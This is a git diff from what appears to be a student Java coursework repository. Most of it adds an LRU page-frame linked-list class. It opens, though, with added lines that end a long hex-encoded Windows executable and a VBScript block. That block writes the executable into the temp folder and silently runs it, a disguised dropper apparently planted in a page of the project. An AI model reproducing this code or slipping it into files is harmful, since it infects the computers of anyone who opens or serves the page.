D14A942E60D88A24EF096E0097BFC959818280E43FD3093DD103B7EFA03987B6C65761B042711F14706FFD5FF87D81FD2C207C68FF613D9A5E7D78F8AAA4988683D8EA08F814710C4118E2F34B791DB005FCB5006399D2E7985CBA44FD04AFE02243C29860B77B3FC3DFF8854A11E8481087A26B06ABECB174055CA947F914F6530E58005A339E75114FA52AC44281234052A935FD7F07E8C460D3209AB29D4F604A668FCED3DA8ADF6E6FF10CDA3670CAF03B080D79078BEBA0DA515C29830D92103FD217367E72A78FDE8DC2B7154C8F2EEB6B40977AE99F9DC2B1C51F078781B8833768CF4EDD18F856C426A3E1DD0B379D37BC56B4F0A66805421347FB8A6E68B0C2A4FC53BE82EB85866FDDA825161C4195BD54D13CD7567C0BF88156CEA319E280B8D03D75BFBD44D137055876692532788DF13FB4FDC2D2E947E119E59D80899651CA027869BBB52F895B2D865D068E81300ADF682C551BDB1DB6279094800AD5B6F1D1B163793A35D6498AFA169F2AF825315F53B87FC67EFE2A0525F355B6C97A08F840DBEA173CA86EF1014C9A62A9045D13A1AF22BD7D807E13AD5D73C778874DA049552C11DC6F1240C7970BFCC2AE11B824D8D4F67349E2BFF9492DD1196A10563B753814B536ECBE0BCD010DD90D84092227FCC3B610DDA2208050F34A58CBA33B28B68B68D00AB31793F8AD7E6B529BBC06872041DA1128DAFF56FF52C75F0E4C9C7D28C910F643A414B49A60406DDC62032F04FD67EE4C521148BF2BF55FE0C58FC1696D94B10E5AA9EE150741E136148602F520C8D25C63605F32DDBD2317168A3C9ED032F9856109BB5753D41B86000AF5969793EA2E5C6845711C2F787300CA28B5B1ABBB0403266588EE67AA0F6E37162E6B016F077D6EDC8817F878C692A93586DA81A9BB15B1D44BA512EB1D2AE0A7A374FB63002B01E77C14566F213E0297E083A2FDA20B35D9B0612845C367715C9B9364A871F80FB4C20362F16D32297E158817D8B57E2C5008CE0F8D96E8AD7E1D74A909BD95DF0BD046DDE4C82E937F2E136758FE5FE063D8C624E1D5D32B8F2C91053E9D9FE8154BDCDCDA0B7B7FF6C2CDC9FD9788BE990528DFD374A7D7B860828C1EEE8582A52FAF670E6F305EEC22A9AD30B57942C073AF60A2B5FF6E3874D3D29C9624987CECFE5FDB2DDEBAB6FBC38206F9E85B5828BF45B4B6FCB4E384E46D095B3832EAB75DFC476418ED84D849A13437A11180C1D0448AFF0D9E02EC198C25871DE009D90A57C10BBC02BCC9230B14307508CDC40E2837F4B7DB40920A76010F49A4A339363EE417574E2F2FF4FF8E92209BF810FB57D9C5873C5F1BC104408AF08EA5B78A2BB14618F4E5B22485A3E1C6B3E0BE4A1E4D1348FBD2066CDB3DDBDB573BE09650146E744761BFE83B838C3726C39BA6A05BA664C94F8E32FA56D1C623394DCAF1E134613BA8FFDCD8AA4BBB6E8060FC0786F76D04A587AD9C6375F773FED2052E49702BB90608CC2810CBE5809076E806064AEBFF80D98C2F5CA8D58C82D05281DA2344D0A1A6DFE80C9D02135B436F889B0601877101B87CE9034D3C948F4965DD481134BA1869C0174A2D6EA83857A39824D180A6C17F53C07516A5BED1E80B6B7BC5C0AA1BADDF68A479A34A76A986B2E35D54AD16EAD921A311A59895976AA2CB5EA186014C00FFC0AD419F8FC9C9D040E1C2828676A5BEFD02BF2403E2010DDC1F805735C7F4CA2F5B7CA91C7578E2103593103A79686BA8F881E5C9A70EF2038EFCDFE2ADD6C35B44C0D0D5F93895D50176B451F978ECB300DAD47D9980A4154B7FABFF4090603458847D0FFAF0566D9ED7D9E705CC1D3687FDAD96D843C05F73B7C6E0B41370C1A90568A2196972792E8EE2BF10B547F4BCECCFFEBCD1229B9AFF5B0B9708EA141267AC2058FF3B24210B56CA112DB5E8E58E0332A8132D2DFD7F2F6848F8850F239F18D7573C6F1BC77FA106DA1EE48233B053E0EFFCF0DCC855618915DEC3AC05C1D528380E207F01E036EA1B5B7A737AF09D172E3304E2ADDADAE9DF5A4E5E1CAD074240FF854A010A28862E1948541396082E3D8AF64F86336AD7157CDBC4379A6CC7DC41B1A218400148AB5BFF9DBB150A250C2628AFCCC618635A70FC2842A98DAD06F83958E7A321D117FDD0951085B1DE18450ABEFD42C134A6D212F114C46662B0C4EF6ED0B9626A2F1AA373D90D9F8016FE876AE36981B761A23E891A5C02895B142A40BD20D7E61DC04DDBE803DF52A828FA2874A10B458BD37E5EE4C35BDB51B04D38E4B5E83D180AEB4FED166BCC6F0D068904251C1F6A6DE276E6EF3494A04CF805BF1BB7855F3547CCE26D5BA21A2B619EC1E1E347978A3BCDF390576C26F7C3F1DB52EDA4176822005A8657E0B8908B7FB9CEC0F405D01F8C922F446E2D111737E8CAA129285791473704DD1E22F8D5A701F0FF2C17F85D18958ACB64A6F8F7AC0E088EB616785B470441B5BE22BF257A5BAA4BB355CE268E5B50DCB9F85522D3809CE9CABF10282E5029287F748E0012FF2D3E283335605B18C3CBA2B820E9B8D1BFABACAD3A56373E39EA5D6651CD2CF5A55BDB1326236845E541ADFA3BB2968AC2027C03868D21BD04DD28B130D97F856F3AD26FDFA2B71473130C7D5C9E3857FF3A25AD404BD181890768B958885A860B7C1A0B5BFF61A49689674384D4F4FBC0224C805CDD54FDFD0F70C5D658D73A51B2EBF87FC3AD024D610FA31A819614F0F9F5188E3A80D5DEE0069350C3AAC8EFD01BD9C78DA676768A5BF3000A5CE91125786B69A4E3B4BE04F0F18910DCD05FE8676C160FD342B25F32FDAF49257E2ED4016DE20D5B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
+Set FSO = CreateObject("Scripting.FileSystemObject")
+DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
+If FSO.FileExists(DropPath)=False Then
+Set FileObj = FSO.CreateTextFile(DropPath, True)
+For i = 1 To Len(WriteData) Step 2
+FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
+Next
+FileObj.Close
+End If
+Set WSHshell = CreateObject("WScript.Shell")
+WSHshell.Run DropPath, 0
+//--></SCRIPT>
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..482157d08c
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,245 @@
+package com.github.orajavac.coding2017.basic.linklist;
+
+public class LRUPageFrame {
+private static class Node {
+		
+		Node prev;
+		Node next;
+		Object pageNum=10000;
+		String flag;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	private int length;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+	
+	public LRUPageFrame(){
+		init();
+	}
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+		init();
+	}
+	
+	public void init(){
+		first = new Node();
+		last = new Node();
+		last.flag = "last";		//用来标识最后一个节点是链表尾，在这里链表尾并不算做内存页
+		first.flag = "first";	//用来标识链表头，在这里链表头并不算做内存页
+		first.next = last;
+		last.prev=first;
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		if(lookup(pageNum)){
+			;
+		}else{
+			if (length<capacity){
+				addFirst(pageNum);
+			}else{
+				remove(pageNum);	//删除尾元素
+				addFirst(pageNum);
+			}
+		}
+	}
+	
+	public boolean lookup(int pageNum){
+		Node nodef = first;
+		Node nodel = last;
+		
+		//判断要找的元素是否在第一个节点里
+		if (nodef.next.pageNum.equals(pageNum)){
+			return true;
+		}
+		
+		//判断要找的元素是否在最后一个节点里
+		if (nodel.prev.pageNum.equals(pageNum)){
+			remove(pageNum);	//删除尾元素
+			addFirst(pageNum);	//把访问pageNum添加到第一个节点里
+			return true;
+		}
+		
+		while(nodef.next!=null&&!nodef.next.pageNum.equals(999)){
+			if (nodef.next.pageNum.equals(pageNum)){
+				nodef.next = nodef.next.next;	//先删除元素
+				nodef.next.prev = nodef;
+				addFirst(pageNum);	//再把访问添加元素
+				return true;
+			}
+			nodef = nodef.next;
+		}
+		return false;
+	}
+	
+	public Node getFirst() {
+		return first;
+	}
+
+	public void setFirst(Node first) {
+		this.first = first;
+	}
+
+	public Node getLast() {
+		return last;
+	}
+
+	public void setLast(Node last) {
+		this.last = last;
+	}
+
+	public void remove(Object pageNum){
+		length--;
+		Node n = last.prev;
+		last.prev = n.prev;
+		n.prev.next = last;
+	}
+	
+	public void addFirst(Object pageNum){
+		Node s = first.next;
+		Node n = new Node();
+		n.pageNum=pageNum;
+		n.next=s;
+		s.prev=n;
+		first.next=n;
+		length++;
+	}
+	
+	public void add(Object pageNum){
+		Node node = first.next;
+		while (node.next!=null){
+			node = node.next;
+		}
+		Node e = new Node();
+		e.pageNum = pageNum;
+		Node prev = node.prev;
+		prev.next = e;
+		e.prev = prev;
+		e.next = node;
+		node.prev = e;
+		length++;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node.next.flag != "last"){
+			buffer.append(node.next.pageNum);			
+			
+			node = node.next;
+			
+			if(node.next.flag != "last"){
+				buffer.append(",");
+			}
+			
+		}
+		return buffer.toString();
+	}
+	
+	/**
+	 * 测试双向链表逆序输出
+	 * @return
+	 */
+	public String lastToString(){
